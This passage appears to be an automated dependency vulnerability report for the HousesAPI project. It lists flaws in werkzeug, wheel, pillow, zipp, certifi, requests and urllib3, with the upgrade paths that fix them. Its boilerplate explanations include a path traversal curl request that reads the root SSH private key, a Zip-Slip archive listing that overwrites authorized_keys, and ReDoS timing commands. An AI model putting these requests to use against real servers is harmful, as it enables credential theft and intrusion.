    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when parsing multipart form data. An attacker can trigger the opening of multipart files containing a large number of file parts, which are processed using request.data, request.form, request.files, or request.get_data(parse_form_data=False), consuming CPU, memory, or file handles resources. The amount of CPU time required can block worker processes from handling other requests. The amount of RAM required can trigger an out-of-memory and crash the process.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade werkzeug to version 2.2.3 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.0.3.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient hostname checks and the use of relative paths to resolve requests. When the debugger is enabled, an attacker can convince a user to enter their own PIN to interact with a domain and subdomain they control, and thereby cause malicious code to be executed.

The demonstrated attack vector requires a number of conditions that render this attack very difficult to achieve, especially if the victim application is running in the recommended configuration of not having the debugger enabled in production.

Remediation

Upgrade werkzeug to version 3.0.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: wheel
  • Introduced through: wheel@0.36.2

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI wheel@0.36.2
    Remediation: Upgrade to wheel@0.38.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via attacker-controlled input to Wheel CLI, when parsing a maliciously crafted Wheel file.

Note:Version 0.38.0 has been yanked due to an unrelated non-security issue. Users are advised to upgrade to version 0.38.1.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade wheel to version 0.38.0 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@12.2.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Affected versions of this package are vulnerable to Infinite loop in trailer handling in PIL/PdfParser.py. An attacker can cause the application to consume excessive CPU by supplying a malicious file that creates a cyclic reference in the trailer's Prev pointer.

Remediation

Upgrade pillow to version 12.2.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.0.6.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in formparser.MultiPartParser(). An attacker can cause the parser to consume more memory than the upload size, in excess of max_form_memory_size, by sending malicious data in a non-file field of a multipart/form-data request.

Remediation

Upgrade werkzeug to version 3.0.6 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: wheel
  • Introduced through: wheel@0.36.2

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI wheel@0.36.2
    Remediation: Upgrade to wheel@0.46.2.

Overview

Affected versions of this package are vulnerable to Directory Traversal via the unpack function. An attacker can modify permissions of arbitrary files by supplying a malicious archive that, when unpacked, executes chmod on sensitive files outside the intended extraction directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade wheel to version 0.46.2 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: flask@2.0.1, flask-migrate@2.5.2 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask@2.3.3.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 alembic@1.12.1 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask-migrate@4.0.5.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 alembic@1.12.1 importlib-resources@5.12.0 zipp@3.15.0
    Remediation: Upgrade to flask-migrate@4.0.5.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 alembic@1.12.1 mako@1.2.4 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask-migrate@4.0.5.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 alembic@1.12.1 sqlalchemy@2.0.50 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 sqlalchemy@2.0.50 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 tqdm@4.68.1 importlib-metadata@6.7.0 zipp@3.15.0
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 click@8.1.8 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: certifi
  • Introduced through: certifi@2021.5.30, elastic-apm@6.2.2 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI certifi@2021.5.30
    Remediation: Upgrade to certifi@2022.12.7.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 certifi@2021.5.30
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 certifi@2021.5.30
    Remediation: Upgrade to elasticsearch@8.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 certifi@2021.5.30
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 certifi@2021.5.30
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 certifi@2021.5.30

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity resulting in Certifi root certificate removal from TrustCor. The root certificates are being removed pursuant to an investigation prompted by media reporting that TrustCor's ownership also operated a business that produced spyware.

Remediation

Upgrade certifi to version 2022.12.7 or higher.

References

medium severity

Buffer Over-read

  • Vulnerable module: pillow
  • Introduced through: pillow@8.2.0 and pytesseract@0.3.7

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pillow@8.2.0
    Remediation: Upgrade to pillow@9.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI pytesseract@0.3.7 pillow@8.2.0
    Remediation: Upgrade to pytesseract@0.3.7.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Buffer Over-read via the path_getbbox method in path.c during initialization of ImagePath.Path.

Remediation

Upgrade Pillow to version 9.0.0 or higher.

References

medium severity

Inefficient Algorithmic Complexity

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@2.3.8.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in multipart data parsing. An attacker can cause a denial of service and block worker processes from handling legitimate requests by sending crafted multipart data to an endpoint that will parse it, eventually exhausting or killing all available workers.

Exploiting this vulnerability is possible if the uploaded file starts with CR or LF and is followed by megabytes of data without these characters.

Remediation

Upgrade werkzeug to version 2.3.8, 3.0.1 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.0.6.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Werkzeug is a WSGI web application library.

Affected versions of this package are vulnerable to Directory Traversal due to a bypass for os.path.isabs(), which allows the improper handling of UNC paths beginning with /, in the safe_join() function. This allows an attacker to read some files on the affected server, if they are stored in an affected path.

Note: This is only exploitable on Windows systems using Python versions prior to 3.11.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Werkzeug to version 3.0.6 or higher.

References

medium severity

Improper Handling of Windows Device Names

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.1.4.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name, e.g. CON or NUL.

Note: This is only vulnerable on Windows, where special device names are implicitly present in every directory.

Remediation

Upgrade werkzeug to version 3.1.4 or higher.

References

medium severity

Improper Handling of Windows Device Names

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.1.5.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join() function, which permits path segments containing Windows special device names with file extensions or trailing spaces. An attacker can access unintended files or devices by crafting malicious path inputs.

Note:

This issues exists due to the incomplete fix for CVE-2025-66221 that failed to account for compound extensions such as CON.txt.html or trailing spaces.

Remediation

Upgrade werkzeug to version 3.1.5 or higher.

References

medium severity

Improper Handling of Windows Device Names

  • Vulnerable module: werkzeug
  • Introduced through: werkzeug@2.0.1, flask@2.0.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI werkzeug@2.0.1
    Remediation: Upgrade to werkzeug@3.1.6.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask@2.0.1.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-restful@0.3.9 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-restful@0.3.9.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-migrate@2.5.2 flask-sqlalchemy@3.0.5 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-migrate@2.5.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI flask-mongoengine@1.0.0 flask-wtf@1.1.1 flask@2.0.1 werkzeug@2.0.1
    Remediation: Upgrade to flask-mongoengine@1.0.0.

Overview

Affected versions of this package are vulnerable to Improper Handling of Windows Device Names via the safe_join function. An attacker can cause the application to hang indefinitely by requesting a path ending with a Windows special device name.

Notes:

  1. This is only vulnerable on Windows, where special device names are implicitly present in every directory;

  2. This is a bypass of CVE-2025-66221, as the added filtering failed to account for the fact that safe_join accepts paths with multiple segments, such as example/NUL.

Remediation

Upgrade werkzeug to version 3.1.6 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: certifi
  • Introduced through: certifi@2021.5.30, elastic-apm@6.2.2 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI certifi@2021.5.30
    Remediation: Upgrade to certifi@2024.7.4.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 certifi@2021.5.30
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 certifi@2021.5.30
    Remediation: Upgrade to elasticsearch@8.0.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 certifi@2021.5.30
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0 certifi@2021.5.30
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 pyppeteer@1.0.2 certifi@2021.5.30

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity due to the presence of the root certificate for GLOBALTRUST in the root store. The root certificates are being removed pursuant to an investigation into non-compliance.

Remediation

Upgrade certifi to version 2024.7.4 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: requests
  • Introduced through: requests@2.23.0 and requests-html@0.10.0

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0
    Remediation: Upgrade to requests@2.31.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests-html@0.10.0 requests@2.23.0

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

  1. HTTP → HTTPS: leak

  2. HTTPS → HTTP: no leak

  3. HTTPS → HTTPS: leak

  4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: elastic-apm@6.2.2, elasticsearch@7.13.1 and others

Detailed paths

  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elastic-apm@6.2.2 urllib3@2.0.7
    Remediation: Upgrade to elastic-apm@6.2.2.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI elasticsearch@7.13.1 urllib3@2.0.7
    Remediation: Upgrade to elasticsearch@7.17.12.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI requests@2.23.0 urllib3@2.0.7
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: sirius207/HousesAPI@sirius207/HousesAPI selenium@3.141.0 urllib3@2.0.7
    Remediation: Upgrade to selenium@3.141.0.
